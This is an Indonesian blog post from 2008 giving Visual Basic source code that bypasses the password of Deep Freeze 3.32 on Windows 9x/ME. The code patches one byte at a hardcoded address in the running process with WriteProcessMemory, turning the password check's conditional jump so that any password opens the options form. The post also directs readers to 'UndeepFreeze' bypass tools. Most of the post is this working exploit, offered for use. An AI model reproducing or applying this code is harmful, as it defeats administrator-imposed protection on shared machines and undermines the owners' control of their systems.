Mengganti Password DeepFreeze


Sebelum mencoba program ini pastikan DeepFree di load oleh windows, source code ini akan berjalan dengan baik apabila versi dan OS yang digunakan sesuai dengan penelitian penulis.

Dalam mencoba source ini penulis menngunakan:
DeepFreeze versi 3.32.000.0534 dengan OS yang digunakan WinME/WIN9x

Option Explicit
‘Beberapa Fungsi Api Yang Digunakan
Private Declare Function OpenProcess Lib “kernel32” (ByVal dwDesiredAccess As _
Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As _
Long) As Long
Private Declare Function ReadProcessMemory Lib “kernel32” (ByVal hProcess As _
Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As _
Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function WriteProcessMemory Lib “kernel32” (ByVal hProcess As _
Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As _
Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function FindWindowStr Lib “user32” Alias “FindWindowA” _
(ByVal lpClassName As Any, ByVal lpWindowName As Any) As Long
Private Declare Function GetWindowThreadProcessId Lib “user32” (ByVal hwnd As _
Long, lpdwProcessId As Long) As Long

Private Sub Command1_Click()
Dim hwndDF As Long, PID As Long
‘Cari HWND dari program DeepFreeze
hwndDF = FindWindowStr(“TFormMain”, vbNullString) ‘ “Deep Freeze …..”
If hwndDF Then
‘Dapatkan PID berdasarkan dari HWND yang didapat
GetWindowThreadProcessId hwndDF, PID
If PID Then
Dim Data As Byte, ret As Long, hProcess As Long, lWritten As Long

‘Data &H85 disini yang nantinya digunakan untuk membalikan sebuah kondisi _
pemeriksaan password pada deepfreeze. _
nilai asli &H84 (JE) kita rubah ke &H85

Data = &H85

‘Membuka process berdasarkan PID yang didapat
hProcess = OpenProcess(&H1F0FFF, True, PID)
If hProcess Then
‘Kalo pembukan process berhasil maka selanjutnya kita merubah pada _
Alamat: &H417411 dengan data 85h _
Alamat ini (&H417411) didapat setelah penulis mendebug program _
deepfreeze dengan W32Deasm. Kemungkinan alamat tersebut bisa berubah.

ret = WriteProcessMemory(hProcess, ByVal &H417411, Data, 1, lWritten)

If ret = 1 Then
MsgBox “Hacked”, 64
Else
MsgBox “Error!”, 16
End If
Else
MsgBox “Membuka Process Gagal”, 16
End If
Else
MsgBox “Gagal Mendapatkan PID DeepFreeze”, 16
End If
Else
MsgBox “DeepFreeze Tidak Ditemukan!”, 16
End If
End Sub

Kalo udah berhasil melakukan process diatas, silahkan anda tekan tombol Shift+Click pada icon DeepFreeze. dan masukan sembarang password.

Jika Source Tersebut berjalan dengan lancar, maka akan muncul form option dari DeepFreeze.

Sumber: VB-Bego

Kalo mau nge UndeepFreeze Silahkan Kunjungi Situs ini.
usuarios.arnet.com.ar

atau download aja Program Jadinya :
1. UndeepFreeze For Windows 9x
2. UndeepFreeze For Windows2000/XP

About willyfavindy

Aku seorang yang sangat menggemari teknologi komputer dan mengikuti perkembangan zaman di saat ini

Posted on Mei 28, 2008, in Mengganti Password DeepFreeze. Bookmark the permalink. Tinggalkan komentar.

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: